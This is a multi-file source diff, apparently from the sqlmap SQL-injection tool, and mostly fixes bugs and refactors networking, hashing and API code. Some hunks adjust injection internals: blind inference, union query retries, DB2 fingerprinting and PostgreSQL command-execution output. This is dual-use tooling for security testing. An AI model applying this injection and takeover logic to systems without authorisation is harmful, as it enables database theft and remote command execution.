         if conf.evalCode:
             delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
-            variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()}
+            variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie}
             originals = {}
 
             if not get and PLACE.URI in conf.parameters:
@@ -1218,6 +1228,7 @@ class Connect(object):
                     variables[unsafeVariableNaming(variable)] = value
 
             uri = variables["uri"]
+            cookie = variables["cookie"]
 
             for name, value in variables.items():
                 if name != "__builtins__" and originals.get(name, "") != value:

lib/request/httpshandler.py

@@ -27,6 +27,7 @@ except ImportError:
 
 _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
 _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
+_contexts = {}
 
 class HTTPSConnection(_http_client.HTTPSConnection):
     """
@@ -36,6 +37,12 @@ class HTTPSConnection(_http_client.HTTPSConnection):
     """
 
     def __init__(self, *args, **kwargs):
+        # NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158
+        if hasattr(ssl, "_create_default_https_context"):
+            if None not in _contexts:
+                _contexts[None] = ssl._create_default_https_context()
+            kwargs["context"] = _contexts[None]
+
         _http_client.HTTPSConnection.__init__(self, *args, **kwargs)
 
     def connect(self):
@@ -54,11 +61,12 @@ class HTTPSConnection(_http_client.HTTPSConnection):
             for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
                 try:
                     sock = create_sock()
-                    context = ssl.SSLContext(protocol)
+                    if protocol not in _contexts:
-                    _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
+                        _contexts[protocol] = ssl.SSLContext(protocol)
-                    if _:
+                    result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
+                    if result:
                         success = True
-                        self.sock = _
+                        self.sock = result
                         _protocols.remove(protocol)
                         _protocols.insert(0, protocol)
                         break

lib/request/redirecthandler.py

@@ -154,6 +154,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
                 except AttributeError:
                     def _(self):
                         return getattr(self, "hdrs") or {}
+
                     result.info = types.MethodType(_, result)
 
                 if not hasattr(result, "read"):
@@ -164,6 +165,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
                             retVal = ""
                         finally:
                             return retVal
+
                     result.read = types.MethodType(_, result)
 
                 if not getattr(result, "url", None):

lib/techniques/blind/inference.py

@@ -137,7 +137,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
         if partialValue:
             firstChar = len(partialValue)
-        elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
+        elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
             firstChar = 0
         elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
             firstChar = int(conf.firstChar) - 1
@@ -148,7 +148,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
         else:
             firstChar = 0
 
-        if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
+        if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
             lastChar = 0
         elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
             lastChar = int(conf.lastChar)

lib/techniques/union/use.py

@@ -167,6 +167,12 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
                 warnMsg += "(probably due to its length and/or content): "
                 warnMsg += safecharencode(trimmed)
                 logger.warn(warnMsg)
+            elif re.search(r"ORDER BY [^ ]+\Z", expression):
+                debugMsg = "retrying failed SQL query without the ORDER BY clause"
+                logger.debug(debugMsg)
+
+                expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
+                retVal = _oneShotUnionUse(expression, unpack, limited)
     else:
         vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
         kb.unionDuplicates = vector[7]

lib/utils/api.py

@@ -49,6 +49,7 @@ from lib.core.settings import IS_WIN
 from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
 from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
+from lib.core.settings import VERSION_STRING
 from lib.core.shell import autoCompletion
 from lib.core.subprocessng import Popen
 from lib.parse.cmdline import cmdLineParser
@@ -657,6 +658,15 @@ def download(taskid, target, filename):
         logger.warning("[%s] File does not exist %s" % (taskid, target))
         return jsonize({"success": False, "message": "File does not exist"})
 
+@get("/version")
+def version(token=None):
+    """
+    Fetch server version
+    """
+
+    logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr))
+    return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]})
+
 def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
     """
     REST-JSON API server
@@ -760,7 +770,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
             logger.critical(errMsg)
             return
 
-    commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit")
+    commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit")
     autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands)
 
     taskid = None
@@ -849,6 +859,13 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
                 continue
             logger.info("Switching to task ID '%s' " % taskid)
 
+        elif command in ("version",):
+            raw = _client("%s/%s" % (addr, command))
+            res = dejsonize(raw)
+            if not res["success"]:
+                logger.error("Failed to execute command %s" % command)
+            dataToStdout("%s\n" % raw)
+
         elif command in ("list", "flush"):
             raw = _client("%s/admin/%s" % (addr, command))
             res = dejsonize(raw)
@@ -873,6 +890,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
             msg += "stop           Stop current task\n"
             msg += "kill           Kill current task\n"
             msg += "list           Display all tasks\n"
+            msg += "version        Fetch server version\n"
             msg += "flush          Flush tasks (delete all tasks)\n"
             msg += "exit           Exit this client\n"
 

lib/utils/hash.py

@@ -484,7 +484,7 @@ def vbulletin_passwd(password, salt, **kwargs):
 def wordpress_passwd(password, salt, count, prefix, **kwargs):
     """
     Reference(s):
-        http://packetstormsecurity.org/files/74448/phpassbrute.py.txt
+        https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt
         http://scriptserver.mainframe8.com/wordpress_password_hasher.php
 
     >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp')
@@ -741,7 +741,9 @@ def hashRecognition(value):
     if value and len(value) >= 8 and ' ' not in value:   # Note: pre-filter condition (for optimization purposes)
         isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
 
-        if isinstance(value, six.string_types):
+        if kb.cache.hashRegex is None:
+            parts = []
+
             for name, regex in getPublicTypeMembers(HASH):
                 # Hashes for Oracle and old MySQL look the same hence these checks
                 if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
@@ -749,9 +751,16 @@ def hashRecognition(value):
                 elif regex == HASH.CRYPT_GENERIC:
                     if any((value.lower() == value, value.upper() == value)):
                         continue
-                elif re.match(regex, value):
+                else:
-                    retVal = regex
+                    parts.append("(?P<%s>%s)" % (name, regex))
-                    break
+
+            kb.cache.hashRegex = ('|'.join(parts)).replace("(?i)", "")
+
+        if isinstance(value, six.string_types):
+            match = re.search(kb.cache.hashRegex, value, re.I)
+            if match:
+                algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0]
+                retVal = getattr(HASH, algorithm)
 
     return retVal
 

lib/utils/hashdb.py

@@ -68,7 +68,7 @@ class HashDB(object):
 
     @staticmethod
     def hashKey(key):
-        key = getBytes(key if isinstance(key, six.text_type) else repr(key))
+        key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace")
         retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff  # Reference: http://stackoverflow.com/a/4448400
         return retVal
 

lib/utils/purge.py

@@ -80,8 +80,6 @@ def purge(directory):
             pass
 
     logger.debug("deleting the whole directory tree")
-    os.chdir(os.path.join(directory, ".."))
-
     try:
         shutil.rmtree(directory)
     except OSError as ex:

lib/utils/search.py

@@ -104,6 +104,8 @@ def _search(dork):
 
     page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
 
+    page = getUnicode(page)  # Note: if upper function call fails (Issue #4202)
+
     retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)]
 
     if not retVal and "detected unusual traffic" in page:

lib/utils/sqlalchemy.py

@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
 import imp
 import logging
 import os
+import re
 import sys
 import traceback
 import warnings
@@ -41,7 +42,12 @@ def getSafeExString(ex, encoding=None):  # Cross-referenced function
 class SQLAlchemy(GenericConnector):
     def __init__(self, dialect=None):
         GenericConnector.__init__(self)
+
         self.dialect = dialect
+        self.address = conf.direct
+
+        if self.dialect:
+            self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address)
 
     def connect(self):
         if _sqlalchemy:
@@ -52,18 +58,15 @@ class SQLAlchemy(GenericConnector):
                     if not os.path.exists(self.db):
                         raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db)
 
-                    _ = conf.direct.split("//", 1)
+                    _ = self.address.split("//", 1)
-                    conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))
+                    self.address = "%s////%s" % (_[0], os.path.abspath(self.db))
-
-                if self.dialect:
-                    conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1)
 
                 if self.dialect == "sqlite":
-                    engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False})
+                    engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False})
                 elif self.dialect == "oracle":
-                    engine = _sqlalchemy.create_engine(conf.direct)
+                    engine = _sqlalchemy.create_engine(self.address)
                 else:
-                    engine = _sqlalchemy.create_engine(conf.direct, connect_args={})
+                    engine = _sqlalchemy.create_engine(self.address, connect_args={})
 
                 self.connector = engine.connect()
             except (TypeError, ValueError):

plugins/dbms/db2/fingerprint.py

@@ -97,11 +97,20 @@ class Fingerprint(GenericFingerprint):
             logMsg = "confirming %s" % DBMS.DB2
             logger.info(logMsg)
 
-            version = self._versionCheck()
+            result = inject.checkBooleanExpression("JULIAN_DAY(CURRENT DATE) IS NOT NULL")
 
+            if not result:
+                warnMsg = "the back-end DBMS is not %s" % DBMS.DB2
+                logger.warn(warnMsg)
+
+                return False
+
+            version = self._versionCheck()
             if version:
                 Backend.setVersion(version)
                 setDbms("%s %s" % (DBMS.DB2, Backend.getVersion()))
+            else:
+                setDbms(DBMS.DB2)
 
             return True
         else:

plugins/dbms/postgresql/takeover.py

@@ -12,6 +12,7 @@ from lib.core.common import checkFile
 from lib.core.common import decloakToTemp
 from lib.core.common import flattenValue
 from lib.core.common import isListLike
+from lib.core.common import isNoneValue
 from lib.core.common import isStackingAvailable
 from lib.core.common import randomStr
 from lib.core.data import kb
@@ -105,7 +106,10 @@ class Takeover(GenericTakeover):
             output = inject.getValue(query, resumeValue=False)
 
             if isListLike(output):
-                output = os.linesep.join(flattenValue(output))
+                output = flattenValue(output)
+
+            if not isNoneValue(output):
+                output = os.linesep.join(output)
 
             self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
             inject.goStacked(self._cleanupCmd)

plugins/generic/custom.py

@@ -19,6 +19,7 @@ from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.dicts import SQL_STATEMENTS
 from lib.core.enums import AUTOCOMPLETE_TYPE
+from lib.core.enums import DBMS
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
@@ -46,10 +47,15 @@ class Custom(object):
                         sqlType = sqlTitle
                         break
 
-            if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType):
+            if not re.search(r"\b(OPENROWSET|INTO)\b", query, re.I) and (not sqlType or "SELECT" in sqlType):
                 infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
                 logger.info(infoMsg)
 
+                if Backend.isDbms(DBMS.MSSQL):
+                    match = re.search(r"(\bFROM\s+)([^\s]+)", query, re.I)
+                    if match and match.group(2).count('.') == 1:
+                        query = query.replace(match.group(0), "%s%s" % (match.group(1), match.group(2).replace('.', ".dbo.")))
+
                 output = inject.getValue(query, fromUser=True)
 
                 return output

plugins/generic/entries.py

@@ -131,6 +131,8 @@ class Entries(object):
             try:
                 if Backend.isDbms(DBMS.INFORMIX):
                     kb.dumpTable = "%s:%s" % (conf.db, tbl)
+                elif Backend.isDbms(DBMS.SQLITE):
+                    kb.dumpTable = tbl
                 else:
                     kb.dumpTable = "%s.%s" % (conf.db, tbl)
 
@@ -156,7 +158,7 @@ class Entries(object):
                     logger.warn(warnMsg)
                     continue
 
-                kb.dumpColumns = colList
+                kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
                 colNames = colString = ", ".join(column for column in colList)
                 rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
 

sqlmap.conf

@@ -189,6 +189,9 @@ csrfUrl =
 # HTTP method to use during anti-CSRF token page visit.
 csrfMethod =
 
+# Retries for anti-CSRF token retrieval.
+csrfRetries =
+
 # Force usage of SSL/HTTPS
 # Valid: True or False
 forceSSL = False
@@ -693,6 +696,9 @@ trafficFile =
 # Set predefined answers (e.g. "quit=N,follow=N").
 answers =
 
+# Parameter(s) containing Base64 encoded data
+base64Parameter =
+
 # Never ask for user input, use the default behaviour.
 # Valid: True or False
 batch = False

sqlmap.py

@@ -238,6 +238,8 @@ def main():
         errMsg = getSafeExString(ex)
         logger.critical(errMsg)
 
+        os._exitcode = 1
+
         raise SystemExit
 
     except KeyboardInterrupt:
@@ -249,8 +251,8 @@ def main():
         errMsg = "exit"
         logger.error(errMsg)
 
-    except SystemExit:
+    except SystemExit as ex:
-        pass
+        os._exitcode = ex.code or 0
 
     except:
         print()
@@ -258,6 +260,8 @@ def main():
         excMsg = traceback.format_exc()
         valid = checkIntegrity()
 
+        os._exitcode = 255
+
         if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")):
             errMsg = "memory exhaustion detected"
             logger.critical(errMsg)
@@ -530,4 +534,4 @@ if __name__ == "__main__":
             sys.exit(getattr(os, "_exitcode", 0))
 else:
     # cancelling postponed imports (because of Travis CI checks)
-    from lib.controller.controller import start
+    __import__("lib.controller.controller")

thirdparty/clientform/clientform.py

@@ -237,9 +237,9 @@ def unescape(data, entities, encoding=DEFAULT_ENCODING):
 
         repl = entities.get(ent)
         if repl is not None:
-            if type(repl) != type("") and encoding is not None:
+            if hasattr(repl, "decode") and encoding is not None:
                 try:
-                    repl = repl.encode(encoding)
+                    repl = repl.decode(encoding)
                 except UnicodeError:
                     repl = ent
         else:
@@ -255,15 +255,11 @@ def unescape_charref(data, encoding):
         name, base= name[1:], 16
     elif not name.isdigit():
         base = 16
-    uc = _unichr(int(name, base))
+
-    if encoding is None:
+    try:
-        return uc
+        return _unichr(int(name, base))
-    else:
+    except:
-        try:
+        return data
-            repl = uc.encode(encoding)
-        except UnicodeError:
-            repl = "&#%s;" % data
-        return repl
 
 def get_entitydefs():
     from codecs import latin_1_decode
@@ -713,7 +709,7 @@ class _AbstractFormParser:
                 data = data[1:]
             map[key] = data
         else:
-            map[key] = (map[key].decode("utf8") if isinstance(map[key], six.binary_type) else map[key]) + data
+            map[key] = (map[key].decode("utf8", "replace") if isinstance(map[key], six.binary_type) else map[key]) + data
 
     def do_button(self, attrs):
         debug("%s", attrs)

thirdparty/colorama/ansitowin32.py

@@ -47,7 +47,7 @@ class AnsiToWin32(object):
     win32 function calls.
     '''
     ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?')     # Control Sequence Introducer
-    ANSI_OSC_RE = re.compile('\001?\033\\]((?:.|;)*?)(\x07)\002?')         # Operating System Command
+    ANSI_OSC_RE = re.compile('\001?\033\\]([^\a]*)(\a)\002?')               # Operating System Command (Note: https://github.com/tartley/colorama/issues/247)
 
     def __init__(self, wrapped, convert=None, strip=None, autoreset=False):
         # The wrapped stream (normally sys.stdout or sys.stderr)

thirdparty/identywaf/identYwaf.py

@@ -60,7 +60,7 @@ else:
     HTTPCookieProcessor = urllib2.HTTPCookieProcessor
 
 NAME = "identYwaf"
-VERSION = "1.0.124"
+VERSION = "1.0.127"
 BANNER = r"""
                                    ` __ __ `
  ____  ___      ___  ____   ______ `|  T  T` __    __   ____  _____ 
@@ -125,7 +125,7 @@ codes = set()
 proxies = list()
 proxies_index = 0
 
-_exit = exit
+_exit = sys.exit
 
 def exit(message=None):
     if message:

thirdparty/multipart/multipartpost.py

@@ -23,6 +23,7 @@ Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import io
 import mimetypes
 import os
+import re
 import stat
 import sys
 
@@ -67,6 +68,14 @@ class MultipartPostHandler(_urllib.request.BaseHandler):
                 request.add_unredirected_header("Content-Type", contenttype)
 
             request.data = data
+
+        # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235
+        if request.data:
+            for match in re.finditer(b"(?i)\s*-{20,}\w+(\s+Content-Disposition[^\n]+\s+|\-\-\s*)", request.data):
+                part = match.group(0)
+                if b'\r' not in part:
+                    request.data = request.data.replace(part, part.replace(b'\n', b"\r\n"))
+
         return request
 
     def multipart_encode(self, vars, files, boundary=None, buf=None):